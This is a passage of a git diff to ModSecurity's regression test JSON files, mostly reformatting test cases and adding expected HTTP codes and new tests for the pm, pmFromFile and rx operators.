"SecRule TX:test \"whee\" \"id:2,phase:2,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "resource":"lua", - "title":"Testing Operator :: @inspectFile - lua (4/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @inspectFile - lua (4/7)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/whee?res=whee", - "method":"GET", - "body": [ ] + "uri": "/whee?res=whee", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{}, - "body":[ + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Number is bigger than one." + "expected": { + "debug_log": "Number is bigger than one.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \".\" \"id:2,phase:2,setvar:tx.test=2\"", "SecRule ARGS:res \"@inspectFile test-cases/data/match-getvar.lua\" \"id:1,phase:2,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "resource":"lua", - "title":"Testing Operator :: @inspectFile - lua (5/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @inspectFile - lua (5/7)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/whee?res=whee&z=z&d=e", - "method":"GET", - "body": [ ] + "uri": "/whee?res=whee&z=z&d=e", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{}, - "body":[ + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Z: \\{ \\[1\\] = \\{ \\[\"" + "expected": { + "debug_log": "Z: \\{ \\[1\\] = \\{ \\[\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule QUERY_STRING \".\" \"id:2,phase:2,setvar:tx.test=2\"", "SecRule ARGS:res \"@inspectFile test-cases/data/match-getvars.lua\" \"id:1,phase:2,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "resource":"lua", - "title":"Testing Operator :: @inspectFile - lua (6/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @inspectFile - lua (6/7)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/whee?res=whee&z=z&d=e", - "method":"GET", - "body": [ ] + "uri": "/whee?res=whee&z=z&d=e", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{}, - "body":[ + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Just fine." + "expected": { + "debug_log": "Just fine.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule QUERY_STRING \".\" \"id:2,phase:2,setvar:tx.test=FELIPE\"", "SecRule QUERY_STRING \"@inspectFile test-cases/data/match-getvar-transformation.lua\" \"id:1,phase:2,pass\"" ] }, { - "enabled":1, - "version_min":300000, - "resource":"lua", - "title":"Testing Operator :: @inspectFile - lua (7/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @inspectFile - lua (7/7)", + "resource": "lua", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/whee?res=whee&z=z&d=e", - "method":"GET", - "body": [ ] + "uri": "/whee?res=whee&z=z&d=e", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{}, - "body":[ + "response": { + "headers": { + "Content-Length": "8" + }, + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Whee. Working like a charm. That is what we have: FELIPE" + "expected": { + "debug_log": "Whee. Working like a charm. That is what we have: FELIPE", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule QUERY_STRING \".\" \"id:2,phase:2,setvar:tx.test=FeLiPe\"", "SecRule QUERY_STRING \"@inspectFile test-cases/data/match-getvar-multi-transformations.lua\" \"id:1,phase:2,pass\"" diff --git a/test/test-cases/regression/operator-ipMatchFromFile.json b/test/test-cases/regression/operator-ipMatchFromFile.json index 4a225954f2..e5b711c299 100644 --- a/test/test-cases/regression/operator-ipMatchFromFile.json +++ b/test/test-cases/regression/operator-ipMatchFromFile.json @@ -1,135 +1,141 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @ipMatchFromFile", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @ipMatchFromFile", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Rule returned 1" + "expected": { + "debug_log": "Rule returned 1", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecRule REMOTE_ADDR \"@ipMatchFromFile test-cases\/data\/ipMatchFromFile.txt\" \"id:1,phase:3,pass,t:trim\"" + "SecRule REMOTE_ADDR \"@ipMatchFromFile test-cases/data/ipMatchFromFile.txt\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @ipMatchFromFile - file not found", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @ipMatchFromFile - file not found", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "parser_error":"Rules error. File: operator-ipMatchFromFile.json. Line: 2. Column: 19. Looking at: 'file-not-found.txt', 'file-not-found.txt', 'operator-ipMatchFromFile.json/file-not-found.txt', 'operator-ipMatchFromFile.json/file-not-found.txt'." + "expected": { + "http_code": 200, + "parser_error": "Rules error. File: operator-ipMatchFromFile.json. Line: 2. Column: 19. Looking at: 'file-not-found.txt', 'file-not-found.txt', 'operator-ipMatchFromFile.json/file-not-found.txt', 'operator-ipMatchFromFile.json/file-not-found.txt'." }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REMOTE_ADDR \"@ipMatchFromFile file-not-found.txt\" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @ipMatchFromFile - https", "resource": "curl", - "title":"Testing Operator :: @ipMatchFromFile - https", - "client":{ - "ip":"8.8.4.4", - "port":123 + "client": { + "ip": "8.8.4.4", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Rule returned 1." + "expected": { + "debug_log": "Rule returned 1.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecRule REMOTE_ADDR \"@ipMatchFromFile https://gist.githubusercontent.com/martinhsv/20705a36b7cfa8ff6d0dee0d4efce7e7/raw/b9321f190eb0e81b98cb65a56db3d7e0a4f59314/modsecurity-regression-ip-list.txt\" \"id:1,phase:3,pass,t:trim\"" + "SecRule REMOTE_ADDR \"@ipMatchFromFile https://raw.githubusercontent.com/owasp-modsecurity/ModSecurity/refs/heads/v3/master/test/modsecurity-regression-ip-list.txt\" \"id:1,phase:3,pass,t:trim\"" ] } ] diff --git a/test/test-cases/regression/operator-pm.json b/test/test-cases/regression/operator-pm.json index 4f94d6ea0c..b89b4037ba 100644 --- a/test/test-cases/regression/operator-pm.json +++ b/test/test-cases/regression/operator-pm.json @@ -3,7 +3,7 @@ "enabled": 1, "version_min": 300000, "version_max": 0, - "title": "pm operator test 1/4", + "title": "pm operator test 1/6", "client": { "ip": "200.249.12.31", "port": 2313 @@ -14,18 +14,24 @@ }, "request": { "headers": { - "Host": "net.tutsplus.com" + "Host": "net.tutsplus.com", + "Content-Length": "0" }, - "uri": "\/test.pl?param1=something`somenthing", + "uri": "/test.pl?param1=something`somenthing", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" - } + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { "debug_log": "Rule returned 1", @@ -51,21 +57,26 @@ }, "request": { "headers": { - "Host": "net.tutsplus.com" + "Host": "net.tutsplus.com", + "Content-Length": "0" }, - "uri": "\/test.pl?param1=`somenthing", + "uri": "/test.pl?param1=`somenthing", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" - } + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { - "debug_log": "", "http_code": 500 }, "rules": [ @@ -77,7 +88,7 @@ "enabled": 1, "version_min": 300000, "version_max": 0, - "title": "pm operater test 3/4", + "title": "pm operater test 3/6", "client": { "ip": "200.249.12.31", "port": 2313 @@ -88,18 +99,24 @@ }, "request": { "headers": { - "Host": "net.tutsplus.com" + "Host": "net.tutsplus.com", + "Content-Length": "0" }, - "uri": "\/test.pl?param1=a", + "uri": "/test.pl?param1=a", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" - } + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { "debug_log": "Rule returned 1", @@ -114,7 +131,7 @@ "enabled": 1, "version_min": 300000, "version_max": 0, - "title": "pm operater test 4/4", + "title": "pm operater test 4/6", "client": { "ip": "200.249.12.31", "port": 2313 @@ -125,18 +142,24 @@ }, "request": { "headers": { - "Host": "net.tutsplus.com" + "Host": "net.tutsplus.com", + "Content-Length": "0" }, - "uri": "\/test.pl?param1=a`b", + "uri": "/test.pl?param1=a`b", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" - } + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { "debug_log": "Rule returned 1", @@ -146,5 +169,91 @@ "SecRuleEngine On", "SecRule ARGS \"@pm a ` b\" \"phase:1,id:999,deny,status:500\"" ] + }, + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "pm operater test 5/6", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "net.tutsplus.com", + "Content-Length": "0" + }, + "uri": "/test.pl?param1=123", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Rule returned 1", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@pm 1 2 3\" \"phase:1,id:999,deny\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "pm operater test 6/6", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "net.tutsplus.com", + "Content-Length": "0" + }, + "uri": "/test.pl?param1=abc", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Rule returned 0", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@pm 1 2 3\" \"phase:1,id:999,deny\"" + ] } ] diff --git a/test/test-cases/regression/operator-pmfromfile.json b/test/test-cases/regression/operator-pmfromfile.json new file mode 100644 index 0000000000..316998ea62 --- /dev/null +++ b/test/test-cases/regression/operator-pmfromfile.json @@ -0,0 +1,45 @@ +[ + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "pmFromFile operator test", + "client": { + "ip": "10.20.30.40", + "port": 2313 + }, + "server": { + "ip": "1.2.3.4", + "port": 80 + }, + "request": { + "headers": { + "Host": "foobar.com", + "Content-Length": "0" + }, + "uri": "/test.php?param1=pattern2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "text/html; charset=utf-8\n\r", + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Rule returned 1", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@pmFromFile test-cases/data/pattern-file1.data test-cases/data/pattern-file2.data\" \"phase:1,id:999,deny\"" + ] + } +] diff --git a/test/test-cases/regression/operator-rx.json b/test/test-cases/regression/operator-rx.json index 4ae2b2f0b4..0308819212 100644 --- a/test/test-cases/regression/operator-rx.json +++ b/test/test-cases/regression/operator-rx.json @@ -1,172 +1,186 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @rx", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @rx", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Executing operator \"Rx" + "expected": { + "debug_log": "Executing operator \"Rx", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@rx (value1)\" \"id:1,phase:2,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @rx in implicit form with negation ('!')", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @rx in implicit form with negation ('!')", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "3", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"HEAD", - "body": [ ] + "uri": "/", + "method": "HEAD", + "body": [ + "a=1" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Executing operator \"Rx\" with param \"\\^0\\$\"", - "error_log":"Matched \"Operator `Rx' with parameter `\\^0\\$'" + "expected": { + "debug_log": "Executing operator \"Rx\" with param \"\\^0\\$\"", + "error_log": "Matched \"Operator `Rx' with parameter `\\^0\\$'", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:Content-Length \"!^0$\" \"id:1,phase:2,pass,t:trim,block\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @rx with non-compiling pattern", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @rx with non-compiling pattern", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"HEAD", - "body": [ ] + "uri": "/", + "method": "HEAD", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Error with regular expression" + "expected": { + "parser_error": "Rules error. File: operator-rx.json. Line: 2. Column: 36. Invalid regular expression: a\\(b", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS:Content-Type \"@rx a(b\" \"id:1,phase:2,pass,t:trim,block\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @rx with PCRE error", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @rx with PCRE error", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/?rxtest=wwwwwwwwwwwwwwwwwwwwwowwwwwwwwwww", - "method":"HEAD", - "body": [ ] + "uri": "/?rxtest=wwwwwwwwwwwwwwwwwwwwwowwwwwwwwwww", + "method": "HEAD", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"rx: regex error 'MATCH_LIMIT' for pattern", - "error_log":"Matched \"Operator `StrEq' with parameter `1' against variable `MSC_PCRE_ERROR'" + "expected": { + "debug_log": "rx: regex error 'MATCH_LIMIT' for pattern", + "error_log": "Matched \"Operator `StrEq' with parameter `1' against variable `MSC_PCRE_ERROR'", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecPcreMatchLimit 2", "SecRule ARGS:rxtest \"@rx (w+)+$\" \"id:1,phase:1,pass,t:trim,block\"", @@ -174,48 +188,284 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @rx with PCRE match limits exceeded", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @rx with PCRE match limits exceeded", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/?rxtest=wwwwwwwwwwwwwwwwwwwwwowwwwwwwwwww", - "method":"HEAD", - "body": [ ] + "uri": "/?rxtest=wwwwwwwwwwwwwwwwwwwwwowwwwwwwwwww", + "method": "HEAD", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"rx: regex error 'MATCH_LIMIT' for pattern", - "error_log":"Matched \"Operator `StrEq' with parameter `1' against variable `MSC_PCRE_LIMITS_EXCEEDED'" + "expected": { + "debug_log": "rx: regex error 'MATCH_LIMIT' for pattern", + "error_log": "Matched \"Operator `StrEq' with parameter `1' against variable `MSC_PCRE_LIMITS_EXCEEDED'", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecPcreMatchLimit 2", "SecRule ARGS:rxtest \"@rx (w+)+$\" \"id:1,phase:1,pass,t:trim,block\"", "SecRule MSC_PCRE_LIMITS_EXCEEDED \"@streq 1\" \"id:2,phase:1,pass,t:trim,block\"" ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @rx with PCRE match limits exceeded", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/?rxtest=wwwwwwwwwwwwwwwwwwwwwowwwwwwwwwww", + "method": "HEAD", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "rx: regex error 'MATCH_LIMIT' for pattern", + "error_log": "Matched \"Operator `StrEq' with parameter `1' against variable `TX:MSC_PCRE_LIMITS_EXCEEDED'", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecPcreMatchLimit 2", + "SecRule ARGS:rxtest \"@rx (w+)+$\" \"id:1,phase:1,pass,t:trim,block\"", + "SecRule TX:MSC_PCRE_LIMITS_EXCEEDED \"@streq 1\" \"id:2,phase:1,pass,t:trim,block\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @rx inicialization with PCRE ERROR", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "27", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/?probe=wwwwwwwwwwwwwwwwwwwwwowwwwwwwwwww", + "method": "GET", + "body": [] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "parser_error": "Rules error. File: operator-rx.json. Line: 3. Column: 18. Invalid regular expression: \\(" + }, + "rules": [ + "SecRuleEngine On", + "SecPcreMatchLimit 2", + "SecRule ARGS:probe \"@rx (\" \"id:4001,phase:1,pass\"", + "SecRule MSC_PCRE_ERROR \"@streq 1\" \"id:4002,phase:1,deny,status:409\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @rx with invalid macro-expanded pattern", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "27", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/?patt=%28", + "method": "POST", + "body": [ + "subject=wwww" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "expected": { + "debug_log": "Error with regular expression: \"\\(\"", + "http_code": 409 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS:subject \"@rx %{ARGS:patt}\" \"id:4001,phase:2,pass\"", + "SecRule MSC_PCRE_ERROR \"@streq 1\" \"id:4002,phase:2,deny,status:409\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @rx with invalid macro-expanded pattern - no error", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": 